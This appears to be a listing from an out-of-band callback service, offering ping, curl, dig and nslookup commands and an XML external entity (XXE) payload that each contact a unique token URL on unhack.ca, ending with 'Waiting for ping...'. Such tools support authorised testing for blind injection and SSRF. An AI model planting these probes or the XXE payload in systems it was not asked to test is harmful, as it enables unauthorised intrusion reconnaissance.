$ ping -c1 -p 001e1bc9ac00d496866eee04f123de00 unhack.ca
 
$ curl http://unhack.ca/p/1e1bc9ac00d496866eee04f123de
 
$ dig 1e1bc9ac00d496866eee04f123de @unhack.ca
 
$ dig 1e1bc9ac00d496866eee04f123de.ns.unhack.ca
 
C:\> nslookup 1e1bc9ac00d496866eee04f123de unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/1e1bc9ac00d496866eee04f123de">]>
    <foo>&xxe;</foo>
Waiting for ping...